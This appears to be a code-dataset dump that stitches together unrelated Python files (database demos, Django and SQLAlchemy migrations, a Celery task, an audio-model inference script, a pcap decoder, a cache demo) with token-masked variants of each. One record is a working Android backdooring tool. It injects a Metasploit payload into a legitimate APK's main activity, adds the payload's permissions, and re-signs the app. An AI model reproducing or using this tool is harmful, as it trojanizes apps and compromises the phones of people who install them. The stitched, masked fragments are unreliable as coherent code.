INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\"\n )\n\n\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\n<function token>\n<function token>\n\n\ndef insertTable(db):\n cur1 = db.cursor()\n cur1.execute(\n \"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\"\n )\n\n\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n" ]
false
435
fcc73647a5e841bcb5ea4fcd06579cc6912cfe1e
#!/usr/bin/env python import os import re import pycolor import sys pyc = pycolor.pyColor() def decompile(mainapk): print pyc.Info("Decompiling apks...") os.system("bash apktool.sh d -f %s"%mainapk) os.system("bash apktool.sh d -f temp.apk") def inject(mainapk): print pyc.Info("Injecting payload...") mk = "mkdir %s/smali/com/metasploit"%mainapk.split('.')[0] os.system(mk) mk = "mkdir %s/smali/com/metasploit/stage"%mainapk.split('.')[0] os.system(mk) cp = "cp temp/smali/com/metasploit/stage/Payload* %s/smali/com/metasploit/stage/"%mainapk.split('.')[0] os.system(cp) filemanifest = "%s/AndroidManifest.xml"%mainapk.split('.')[0] fhandle = open(filemanifest,'r') fread = fhandle.read() fhandle.close() fread = fread.split('<action android:name="android.intent.action.MAIN"/>')[0].split('<activity android:')[1] acn = re.search('android:name=\"[\w.]+',fread) activityname = acn.group(0).split('"')[1] acpath = activityname.replace('.','/') + ".smali" smalipath = "%s/smali/%s"%(mainapk.split('.')[0], acpath) fhandle = open(smalipath,'r') fread = fhandle.read() fhandle.close() print pyc.Info("Injecting hooks in %s..."%activityname) fhalf = fread.split(";->onCreate(Landroid/os/Bundle;)V")[0] shalf = fread.split(";->onCreate(Landroid/os/Bundle;)V")[1] injection = ";->onCreate(Landroid/os/Bundle;)V\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" total = fhalf + injection + shalf fhandle = open(smalipath,'w') fhandle.write(total) fhandle.close() print pyc.Succ("Hook injected -> metasploit/stage/Payload") def permissions(mainapk): print pyc.Info("Adding permissions...") filemanifest = "temp/AndroidManifest.xml" fhandle = open(filemanifest,'r') fread = fhandle.readlines() prmns = [] for line in fread: if('<uses-permission' in line): prmns.append(line.replace('\n','')) fhandle.close() filemanifest = "%s/AndroidManifest.xml"%mainapk.split('.')[0] fhandle = open(filemanifest,'r') fread = fhandle.readlines() half=[] for line in fread: if('<uses-permission' in line): prmns.append(line.replace('\n','')) else: half.append(line) prmns = set(prmns) fhandle.close() fhandle = open(filemanifest,'w') for i in half: if half.index(i)==2: for j in prmns: fhandle.write(j+"\n") else: fhandle.write(i) for i in prmns: print '\t',i.split('android:name="')[1].split('"')[0] print pyc.Succ("%d Permissions added."%(len(prmns))) def rebuild(mainapk): print pyc.Info("Recompiling...") rebuild = "bash apktool.sh b -f %s"%mainapk.split('.')[0] os.system(rebuild) print pyc.Info("Signing apk...") path = "%s/dist/%s"%(mainapk.split('.')[0],mainapk) signapk = "java -jar signapk.jar cert.x509.pem privatekey.pk8 %s %s-final.apk"%(path,mainapk[:-4]) os.system(signapk) print pyc.Succ("Successfully backdoored and saved as %s-final.apk"%mainapk[:-4])
[ "#!/usr/bin/env python\n\nimport os\nimport re\nimport pycolor\nimport sys\n\npyc = pycolor.pyColor()\n\ndef decompile(mainapk):\n\tprint pyc.Info(\"Decompiling apks...\")\n\tos.system(\"bash apktool.sh d -f %s\"%mainapk)\n\tos.system(\"bash apktool.sh d -f temp.apk\")\n\ndef inject(mainapk):\n\tprint pyc.Info(\"Injecting payload...\")\n\tmk = \"mkdir %s/smali/com/metasploit\"%mainapk.split('.')[0]\n\tos.system(mk)\n\tmk = \"mkdir %s/smali/com/metasploit/stage\"%mainapk.split('.')[0]\n\tos.system(mk)\n\tcp = \"cp temp/smali/com/metasploit/stage/Payload* %s/smali/com/metasploit/stage/\"%mainapk.split('.')[0]\n\tos.system(cp)\n\tfilemanifest = \"%s/AndroidManifest.xml\"%mainapk.split('.')[0]\n\tfhandle = open(filemanifest,'r')\n\tfread = fhandle.read()\n\tfhandle.close()\n\tfread = fread.split('<action android:name=\"android.intent.action.MAIN\"/>')[0].split('<activity android:')[1]\n\tacn = re.search('android:name=\\\"[\\w.]+',fread)\n\tactivityname = acn.group(0).split('\"')[1]\n\tacpath = activityname.replace('.','/') + \".smali\"\n\tsmalipath = \"%s/smali/%s\"%(mainapk.split('.')[0], acpath)\n\tfhandle = open(smalipath,'r')\n\tfread = fhandle.read()\n\tfhandle.close()\n\tprint pyc.Info(\"Injecting hooks in %s...\"%activityname)\n\tfhalf = fread.split(\";->onCreate(Landroid/os/Bundle;)V\")[0]\n\tshalf = fread.split(\";->onCreate(Landroid/os/Bundle;)V\")[1]\n\tinjection = \";->onCreate(Landroid/os/Bundle;)V\\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V\"\n\ttotal = fhalf + injection + shalf\n\tfhandle = open(smalipath,'w')\n\tfhandle.write(total)\n\tfhandle.close()\n\tprint pyc.Succ(\"Hook injected -> metasploit/stage/Payload\")\n\ndef permissions(mainapk):\n\tprint pyc.Info(\"Adding permissions...\")\n\tfilemanifest = \"temp/AndroidManifest.xml\"\n\tfhandle = open(filemanifest,'r')\n\tfread = fhandle.readlines()\n\tprmns = []\n\tfor line in fread:\n\t\tif('<uses-permission' in line):\n\t\t\tprmns.append(line.replace('\\n',''))\t\n\tfhandle.close()\n\tfilemanifest = \"%s/AndroidManifest.xml\"%mainapk.split('.')[0]\n\tfhandle = open(filemanifest,'r')\n\tfread = fhandle.readlines()\n\thalf=[]\n\tfor line in fread:\n\t\tif('<uses-permission' in line):\n\t\t\tprmns.append(line.replace('\\n',''))\n\t\telse:\n\t\t\thalf.append(line)\n\tprmns = set(prmns)\n\tfhandle.close()\n\t\n\tfhandle = open(filemanifest,'w')\n\tfor i in half:\n\t\tif half.index(i)==2:\n\t\t\tfor j in prmns:\n\t\t\t\tfhandle.write(j+\"\\n\")\n\t\telse:\n\t\t\tfhandle.write(i)\n\tfor i in prmns:\n\t\tprint '\\t',i.split('android:name=\"')[1].split('\"')[0]\n\tprint pyc.Succ(\"%d Permissions added.\"%(len(prmns)))\n\t\ndef rebuild(mainapk):\n\tprint pyc.Info(\"Recompiling...\")\n\trebuild = \"bash apktool.sh b -f %s\"%mainapk.split('.')[0]\t\n\tos.system(rebuild)\n\tprint pyc.Info(\"Signing apk...\")\n\tpath = \"%s/dist/%s\"%(mainapk.split('.')[0],mainapk)\n\tsignapk = \"java -jar signapk.jar cert.x509.pem privatekey.pk8 %s %s-final.apk\"%(path,mainapk[:-4])\n\tos.system(signapk)\n\tprint pyc.Succ(\"Successfully backdoored and saved as %s-final.apk\"%mainapk[:-4])\n\n" ]
true
436
de347b41cd88947690cb42e043880a80d81e2c5c
# Generated by Django 3.2.7 on 2021-09-11 19:38 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cryptocurrency', '0012_rename_cancel_exists_order_cancel_exist'), ] operations = [ migrations.AlterField( model_name='order', name='created_at', field=models.IntegerField(blank=True, null=True), ), ]
[ "# Generated by Django 3.2.7 on 2021-09-11 19:38\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('cryptocurrency', '0012_rename_cancel_exists_order_cancel_exist'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='order',\n name='created_at',\n field=models.IntegerField(blank=True, null=True),\n ),\n ]\n", "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('cryptocurrency',\n '0012_rename_cancel_exists_order_cancel_exist')]\n operations = [migrations.AlterField(model_name='order', name=\n 'created_at', field=models.IntegerField(blank=True, null=True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('cryptocurrency',\n '0012_rename_cancel_exists_order_cancel_exist')]\n operations = [migrations.AlterField(model_name='order', name=\n 'created_at', field=models.IntegerField(blank=True, null=True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
437
c26bdc3f47aa9ac0cda0334e97bdaf3f9d56eb6c
import re import os import base64 os.popen("tshark -r log.pcap -d 'tcp.port==57000,http' -d 'tcp.port==44322,http' -d 'tcp.port==44818,http' -Y 'data-text-lines' -Tfields -e http.file_data > request") def evals(text): template = "{}\['__doc__'\]\[\d+\]" keys = map(str, range(10)) keys += ['\[\]','\(\)',"''"] rule = '|'.join(template.format(_) for _ in keys) regex = re.compile(rule + "|'[\w|\d]'") for i in regex.findall(text): r = i.replace("['__doc__']", ".__doc__") r = re.sub('^\d', 'int', r) r = re.sub('^\(\)', 'tuple', r) text = text.replace(i, eval(r)) text = text.replace('\n', '\\n') return text.replace('~','') def extract(text): regex = re.compile(r'-s (\d+) -l \d+ ([\w\.]+)\).*\[(\d+)\].*\((\w|\d|\\n)\)') return regex.findall(text)[0] requ = open('request').readlines()[:] result = dict() for x in requ: clean = x.strip('\n') clean = re.sub(r'\\n', '', clean) clean = base64.b64decode(clean) clean = evals(clean.split('=')[1]) if 'index' in clean: index, name, pos, char = extract(clean) key = result.get(name, dict()) index = int(index) pos = int(pos) if not key: result[name] = key lastIndexed = result[name].get(index, dict()) if not lastIndexed: result[name][index] = lastIndexed lastOccurence = result[name][index].get(pos, ['']) if not lastOccurence[0]: result[name][index][pos] = lastOccurence lastOccurence[0] = (index, pos, char) for k,v in result.iteritems(): print '[+] Saving', k temp = '' for kk in sorted(v): vv = result[k][kk] for kkk in sorted(vv): vvv = result[k][kk][kkk] char = vvv[0][-1] if char != '\\n': temp += vvv[0][-1] with open(k, 'wb') as f: content = temp.decode('hex') f.write(content)
[ "import re\nimport os\nimport base64\n\nos.popen(\"tshark -r log.pcap -d 'tcp.port==57000,http' -d 'tcp.port==44322,http' -d 'tcp.port==44818,http' -Y 'data-text-lines' -Tfields -e http.file_data > request\")\n\ndef evals(text):\n template = \"{}\\['__doc__'\\]\\[\\d+\\]\"\n keys = map(str, range(10))\n keys += ['\\[\\]','\\(\\)',\"''\"]\n \n rule = '|'.join(template.format(_) for _ in keys)\n regex = re.compile(rule + \"|'[\\w|\\d]'\")\n\n for i in regex.findall(text):\n r = i.replace(\"['__doc__']\", \".__doc__\")\n r = re.sub('^\\d', 'int', r)\n r = re.sub('^\\(\\)', 'tuple', r)\n text = text.replace(i, eval(r))\n \n text = text.replace('\\n', '\\\\n')\n return text.replace('~','')\n\ndef extract(text):\n regex = re.compile(r'-s (\\d+) -l \\d+ ([\\w\\.]+)\\).*\\[(\\d+)\\].*\\((\\w|\\d|\\\\n)\\)')\n return regex.findall(text)[0]\n\nrequ = open('request').readlines()[:]\nresult = dict()\n\nfor x in requ:\n clean = x.strip('\\n')\n clean = re.sub(r'\\\\n', '', clean)\n clean = base64.b64decode(clean)\n clean = evals(clean.split('=')[1])\n\n if 'index' in clean:\n index, name, pos, char = extract(clean)\n key = result.get(name, dict())\n index = int(index)\n pos = int(pos)\n\n if not key:\n result[name] = key\n\n lastIndexed = result[name].get(index, dict())\n if not lastIndexed:\n result[name][index] = lastIndexed\n\n lastOccurence = result[name][index].get(pos, [''])\n if not lastOccurence[0]:\n result[name][index][pos] = lastOccurence\n \n lastOccurence[0] = (index, pos, char)\n\nfor k,v in result.iteritems():\n print '[+] Saving', k\n\n temp = ''\n for kk in sorted(v):\n vv = result[k][kk]\n\n for kkk in sorted(vv):\n vvv = result[k][kk][kkk]\n\n char = vvv[0][-1]\n if char != '\\\\n':\n temp += vvv[0][-1]\n\n with open(k, 'wb') as f:\n content = temp.decode('hex')\n f.write(content)" ]
true
438
8e85740123467889bdeb6b27d5eaa4b39df280ed
from .celery import app from home.models import Banner from settings.const import BANNER_COUNT from home.serializers import BannerModelSerializer from django.core.cache import cache from django.conf import settings @app.task def update_banner_list(): # 获取最新内容 banner_query = Banner.objects.filter(is_delete=False, is_show=True).order_by('-orders')[:BANNER_COUNT] # 序列化 banner_data = BannerModelSerializer(banner_query, many=True).data for banner in banner_data: banner['image'] = settings.END_BASE_URL + banner['image'] # 更新缓存 cache.set('banner_list', banner_data) return True
[ "from .celery import app\n\nfrom home.models import Banner\nfrom settings.const import BANNER_COUNT\nfrom home.serializers import BannerModelSerializer\nfrom django.core.cache import cache\nfrom django.conf import settings\[email protected]\ndef update_banner_list():\n # 获取最新内容\n banner_query = Banner.objects.filter(is_delete=False, is_show=True).order_by('-orders')[:BANNER_COUNT]\n # 序列化\n banner_data = BannerModelSerializer(banner_query, many=True).data\n for banner in banner_data:\n banner['image'] = settings.END_BASE_URL + banner['image']\n # 更新缓存\n cache.set('banner_list', banner_data)\n return True\n\n", "from .celery import app\nfrom home.models import Banner\nfrom settings.const import BANNER_COUNT\nfrom home.serializers import BannerModelSerializer\nfrom django.core.cache import cache\nfrom django.conf import settings\n\n\[email protected]\ndef update_banner_list():\n banner_query = Banner.objects.filter(is_delete=False, is_show=True\n ).order_by('-orders')[:BANNER_COUNT]\n banner_data = BannerModelSerializer(banner_query, many=True).data\n for banner in banner_data:\n banner['image'] = settings.END_BASE_URL + banner['image']\n cache.set('banner_list', banner_data)\n return True\n", "<import token>\n\n\[email protected]\ndef update_banner_list():\n banner_query = Banner.objects.filter(is_delete=False, is_show=True\n ).order_by('-orders')[:BANNER_COUNT]\n banner_data = BannerModelSerializer(banner_query, many=True).data\n for banner in banner_data:\n banner['image'] = settings.END_BASE_URL + banner['image']\n cache.set('banner_list', banner_data)\n return True\n", "<import token>\n<function token>\n" ]
false
439
a2421a8673a524c32539555596711a71a8e00dbf
import os import argparse import torch import model.model as module_arch from utils.util import remove_weight_norms from train import get_instance from librosa import load from librosa.output import write_wav from time import time def main(config, resume, infile, outfile, sigma, dur, half): # build model architecture model = get_instance(module_arch, 'arch', config) model.summary() # load state dict checkpoint = torch.load(resume) state_dict = checkpoint['state_dict'] if config['n_gpu'] > 1: model = torch.nn.DataParallel(model) model.load_state_dict(state_dict) if config['n_gpu'] > 1: model = model.module model.apply(remove_weight_norms) # prepare model for testing device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') model = model.to(device) model.eval() sr = config['arch']['args']['sr'] y, _ = load(infile, sr=sr, duration=dur) y = torch.Tensor(y).to(device) # get mel before turn to half, because sparse.half is not implement yet mel = model.get_mel(y[None, :]) if half: model = model.half() mel = mel.half() start = time() x = model.infer(mel, sigma) cost = time() - start print("Time cost: {:.4f}, Speed: {:.4f} kHz".format(cost, x.numel() / cost / 1000)) # print(x.max(), x.min()) write_wav(outfile, x.cpu().float().numpy(), sr, False) if __name__ == '__main__': parser = argparse.ArgumentParser(description='WaveGlow inference') parser.add_argument('infile', type=str, help='wave file to generate mel-spectrogram') parser.add_argument('outfile', type=str, help='output file name') parser.add_argument('--duration', type=float, help='duration of audio, in seconds') parser.add_argument('--half', action='store_true') parser.add_argument('-s', '--sigma', type=float, default=1.0) parser.add_argument('-r', '--resume', default=None, type=str, help='path to latest checkpoint (default: None)') parser.add_argument('-d', '--device', default=None, type=str, help='indices of GPUs to enable (default: all)') args = parser.parse_args() if args.resume: config = torch.load(args.resume)['config'] if args.device: os.environ["CUDA_VISIBLE_DEVICES"] = args.device main(config, args.resume, args.infile, args.outfile, args.sigma, args.duration, args.half)
[ "import os\nimport argparse\nimport torch\nimport model.model as module_arch\nfrom utils.util import remove_weight_norms\nfrom train import get_instance\nfrom librosa import load\nfrom librosa.output import write_wav\nfrom time import time\n\n\ndef main(config, resume, infile, outfile, sigma, dur, half):\n # build model architecture\n model = get_instance(module_arch, 'arch', config)\n model.summary()\n\n # load state dict\n checkpoint = torch.load(resume)\n state_dict = checkpoint['state_dict']\n if config['n_gpu'] > 1:\n model = torch.nn.DataParallel(model)\n model.load_state_dict(state_dict)\n\n if config['n_gpu'] > 1:\n model = model.module\n model.apply(remove_weight_norms)\n\n # prepare model for testing\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model = model.to(device)\n model.eval()\n\n sr = config['arch']['args']['sr']\n y, _ = load(infile, sr=sr, duration=dur)\n y = torch.Tensor(y).to(device)\n\n # get mel before turn to half, because sparse.half is not implement yet\n mel = model.get_mel(y[None, :])\n\n if half:\n model = model.half()\n mel = mel.half()\n start = time()\n x = model.infer(mel, sigma)\n cost = time() - start\n print(\"Time cost: {:.4f}, Speed: {:.4f} kHz\".format(cost, x.numel() / cost / 1000))\n # print(x.max(), x.min())\n write_wav(outfile, x.cpu().float().numpy(), sr, False)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='WaveGlow inference')\n parser.add_argument('infile', type=str, help='wave file to generate mel-spectrogram')\n parser.add_argument('outfile', type=str, help='output file name')\n parser.add_argument('--duration', type=float, help='duration of audio, in seconds')\n parser.add_argument('--half', action='store_true')\n parser.add_argument('-s', '--sigma', type=float, default=1.0)\n parser.add_argument('-r', '--resume', default=None, type=str,\n help='path to latest checkpoint (default: None)')\n parser.add_argument('-d', '--device', default=None, type=str,\n help='indices of GPUs to enable (default: all)')\n\n args = parser.parse_args()\n\n if args.resume:\n config = torch.load(args.resume)['config']\n if args.device:\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.device\n\n main(config, args.resume, args.infile, args.outfile, args.sigma, args.duration, args.half)\n", "import os\nimport argparse\nimport torch\nimport model.model as module_arch\nfrom utils.util import remove_weight_norms\nfrom train import get_instance\nfrom librosa import load\nfrom librosa.output import write_wav\nfrom time import time\n\n\ndef main(config, resume, infile, outfile, sigma, dur, half):\n model = get_instance(module_arch, 'arch', config)\n model.summary()\n checkpoint = torch.load(resume)\n state_dict = checkpoint['state_dict']\n if config['n_gpu'] > 1:\n model = torch.nn.DataParallel(model)\n model.load_state_dict(state_dict)\n if config['n_gpu'] > 1:\n model = model.module\n model.apply(remove_weight_norms)\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model = model.to(device)\n model.eval()\n sr = config['arch']['args']['sr']\n y, _ = load(infile, sr=sr, duration=dur)\n y = torch.Tensor(y).to(device)\n mel = model.get_mel(y[None, :])\n if half:\n model = model.half()\n mel = mel.half()\n start = time()\n x = model.infer(mel, sigma)\n cost = time() - start\n print('Time cost: {:.4f}, Speed: {:.4f} kHz'.format(cost, x.numel() /\n cost / 1000))\n write_wav(outfile, x.cpu().float().numpy(), sr, False)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='WaveGlow inference')\n parser.add_argument('infile', type=str, help=\n 'wave file to generate mel-spectrogram')\n parser.add_argument('outfile', type=str, help='output file name')\n parser.add_argument('--duration', type=float, help=\n 'duration of audio, in seconds')\n parser.add_argument('--half', action='store_true')\n parser.add_argument('-s', '--sigma', type=float, default=1.0)\n parser.add_argument('-r', '--resume', default=None, type=str, help=\n 'path to latest checkpoint (default: None)')\n parser.add_argument('-d', '--device', default=None, type=str, help=\n 'indices of GPUs to enable (default: all)')\n args = parser.parse_args()\n if args.resume:\n config = torch.load(args.resume)['config']\n if args.device:\n os.environ['CUDA_VISIBLE_DEVICES'] = args.device\n main(config, args.resume, args.infile, args.outfile, args.sigma, args.\n duration, args.half)\n", "<import token>\n\n\ndef main(config, resume, infile, outfile, sigma, dur, half):\n model = get_instance(module_arch, 'arch', config)\n model.summary()\n checkpoint = torch.load(resume)\n state_dict = checkpoint['state_dict']\n if config['n_gpu'] > 1:\n model = torch.nn.DataParallel(model)\n model.load_state_dict(state_dict)\n if config['n_gpu'] > 1:\n model = model.module\n model.apply(remove_weight_norms)\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model = model.to(device)\n model.eval()\n sr = config['arch']['args']['sr']\n y, _ = load(infile, sr=sr, duration=dur)\n y = torch.Tensor(y).to(device)\n mel = model.get_mel(y[None, :])\n if half:\n model = model.half()\n mel = mel.half()\n start = time()\n x = model.infer(mel, sigma)\n cost = time() - start\n print('Time cost: {:.4f}, Speed: {:.4f} kHz'.format(cost, x.numel() /\n cost / 1000))\n write_wav(outfile, x.cpu().float().numpy(), sr, False)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='WaveGlow inference')\n parser.add_argument('infile', type=str, help=\n 'wave file to generate mel-spectrogram')\n parser.add_argument('outfile', type=str, help='output file name')\n parser.add_argument('--duration', type=float, help=\n 'duration of audio, in seconds')\n parser.add_argument('--half', action='store_true')\n parser.add_argument('-s', '--sigma', type=float, default=1.0)\n parser.add_argument('-r', '--resume', default=None, type=str, help=\n 'path to latest checkpoint (default: None)')\n parser.add_argument('-d', '--device', default=None, type=str, help=\n 'indices of GPUs to enable (default: all)')\n args = parser.parse_args()\n if args.resume:\n config = torch.load(args.resume)['config']\n if args.device:\n os.environ['CUDA_VISIBLE_DEVICES'] = args.device\n main(config, args.resume, args.infile, args.outfile, args.sigma, args.\n duration, args.half)\n", "<import token>\n\n\ndef main(config, resume, infile, outfile, sigma, dur, half):\n model = get_instance(module_arch, 'arch', config)\n model.summary()\n checkpoint = torch.load(resume)\n state_dict = checkpoint['state_dict']\n if config['n_gpu'] > 1:\n model = torch.nn.DataParallel(model)\n model.load_state_dict(state_dict)\n if config['n_gpu'] > 1:\n model = model.module\n model.apply(remove_weight_norms)\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model = model.to(device)\n model.eval()\n sr = config['arch']['args']['sr']\n y, _ = load(infile, sr=sr, duration=dur)\n y = torch.Tensor(y).to(device)\n mel = model.get_mel(y[None, :])\n if half:\n model = model.half()\n mel = mel.half()\n start = time()\n x = model.infer(mel, sigma)\n cost = time() - start\n print('Time cost: {:.4f}, Speed: {:.4f} kHz'.format(cost, x.numel() /\n cost / 1000))\n write_wav(outfile, x.cpu().float().numpy(), sr, False)\n\n\n<code token>\n", "<import token>\n<function token>\n<code token>\n" ]
false
440
23a560c5f5553fc32329121ea47f8a7ae1196889
import requests import time while 1: r = requests.put("http://localhost:3000/api/4", data={"temperature": 24, "led": 1}) print r.text time.sleep(1)
[ "import requests\nimport time\n\nwhile 1:\n r = requests.put(\"http://localhost:3000/api/4\", data={\"temperature\": 24, \"led\": 1})\n print r.text\n time.sleep(1)" ]
true
441
6154979cd2853dd2bd26d1ae5df7365efa0141c2
from sqlalchemy import Column, MetaData, Table, BigInteger, String, DateTime, Integer from migrate import * meta = MetaData() table = Table( 'accesses', meta, Column('id', BigInteger, primary_key=True, nullable=False), Column('uuid', String(255), nullable=False), Column('created_at', DateTime), ) def upgrade(migrate_engine): meta.bind = migrate_engine table.create() def downgrade(migrate_engine): meta.bind = migrate_engine table.drop()
[ "from sqlalchemy import Column, MetaData, Table, BigInteger, String, DateTime, Integer\nfrom migrate import *\n\nmeta = MetaData()\ntable = Table(\n 'accesses', meta,\n Column('id', BigInteger, primary_key=True, nullable=False),\n Column('uuid', String(255), nullable=False),\n Column('created_at', DateTime),\n)\n\n\ndef upgrade(migrate_engine):\n meta.bind = migrate_engine\n table.create()\n\n\ndef downgrade(migrate_engine):\n meta.bind = migrate_engine\n table.drop()\n", "from sqlalchemy import Column, MetaData, Table, BigInteger, String, DateTime, Integer\nfrom migrate import *\nmeta = MetaData()\ntable = Table('accesses', meta, Column('id', BigInteger, primary_key=True,\n nullable=False), Column('uuid', String(255), nullable=False), Column(\n 'created_at', DateTime))\n\n\ndef upgrade(migrate_engine):\n meta.bind = migrate_engine\n table.create()\n\n\ndef downgrade(migrate_engine):\n meta.bind = migrate_engine\n table.drop()\n", "<import token>\nmeta = MetaData()\ntable = Table('accesses', meta, Column('id', BigInteger, primary_key=True,\n nullable=False), Column('uuid', String(255), nullable=False), Column(\n 'created_at', DateTime))\n\n\ndef upgrade(migrate_engine):\n meta.bind = migrate_engine\n table.create()\n\n\ndef downgrade(migrate_engine):\n meta.bind = migrate_engine\n table.drop()\n", "<import token>\n<assignment token>\n\n\ndef upgrade(migrate_engine):\n meta.bind = migrate_engine\n table.create()\n\n\ndef downgrade(migrate_engine):\n meta.bind = migrate_engine\n table.drop()\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef downgrade(migrate_engine):\n meta.bind = migrate_engine\n table.drop()\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n" ]
false
442
813354c9c294c0323c1b54cda7074fbffa49cdb3
from django.utils import timezone from factory import DjangoModelFactory from djtriggers.tests.models import DummyTrigger class DummyTriggerFactory(DjangoModelFactory): class Meta: model = DummyTrigger trigger_type = 'dummy_trigger_test' source = 'tests' date_received = timezone.now() date_processed = None process_after = None number_of_tries = 0
[ "from django.utils import timezone\nfrom factory import DjangoModelFactory\n\nfrom djtriggers.tests.models import DummyTrigger\n\n\nclass DummyTriggerFactory(DjangoModelFactory):\n class Meta:\n model = DummyTrigger\n\n trigger_type = 'dummy_trigger_test'\n source = 'tests'\n date_received = timezone.now()\n date_processed = None\n process_after = None\n number_of_tries = 0\n", "from django.utils import timezone\nfrom factory import DjangoModelFactory\nfrom djtriggers.tests.models import DummyTrigger\n\n\nclass DummyTriggerFactory(DjangoModelFactory):\n\n\n class Meta:\n model = DummyTrigger\n trigger_type = 'dummy_trigger_test'\n source = 'tests'\n date_received = timezone.now()\n date_processed = None\n process_after = None\n number_of_tries = 0\n", "<import token>\n\n\nclass DummyTriggerFactory(DjangoModelFactory):\n\n\n class Meta:\n model = DummyTrigger\n trigger_type = 'dummy_trigger_test'\n source = 'tests'\n date_received = timezone.now()\n date_processed = None\n process_after = None\n number_of_tries = 0\n", "<import token>\n\n\nclass DummyTriggerFactory(DjangoModelFactory):\n\n\n class Meta:\n model = DummyTrigger\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]
false
443
aebc918d6a1d1d2473f74d77b8a915ac25548e3a
import cachetools cache = cachetools.LRUCache(maxsize = 3) cache['PyCon'] = 'India' cache['year'] = '2017' print("Older: " + cache['year']) cache['year'] = '2018' print("Newer: " + cache['year']) print(cache) cache['sdate'] = '05/09/2018' print(cache) cache['edate'] = '09/09/2018' print(cache)
